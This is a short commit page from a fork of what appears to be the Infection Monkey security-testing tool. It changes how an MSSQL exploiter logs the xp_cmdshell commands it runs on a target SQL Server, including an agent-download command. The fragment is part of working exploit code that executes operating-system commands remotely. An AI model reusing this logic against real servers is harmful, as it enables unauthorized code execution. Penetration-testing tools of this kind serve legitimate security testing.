forked from p15670423/monkey
Agent: Improve MSSQL command logging
This commit is contained in:
parent
95acfc36ad
commit
4e71f4b6e4
|
@ -158,9 +158,11 @@ class MSSQLExploiter(HostExploiter):
|
||||||
self._run_mssql_command(agent_download_command)
|
self._run_mssql_command(agent_download_command)
|
||||||
|
|
||||||
def _run_mssql_command(self, command: str):
|
def _run_mssql_command(self, command: str):
|
||||||
logger.debug(f"Running command on SQL Server: {command}")
|
sql_server_command = f"xp_cmdshell '{command}'"
|
||||||
|
|
||||||
self.cursor.execute(f"xp_cmdshell '{command}'")
|
logger.debug(f"Running command on SQL Server: {sql_server_command}")
|
||||||
|
|
||||||
|
self.cursor.execute(sql_server_command)
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
|
|
||||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||||
|
|
Loading…
Reference in New Issue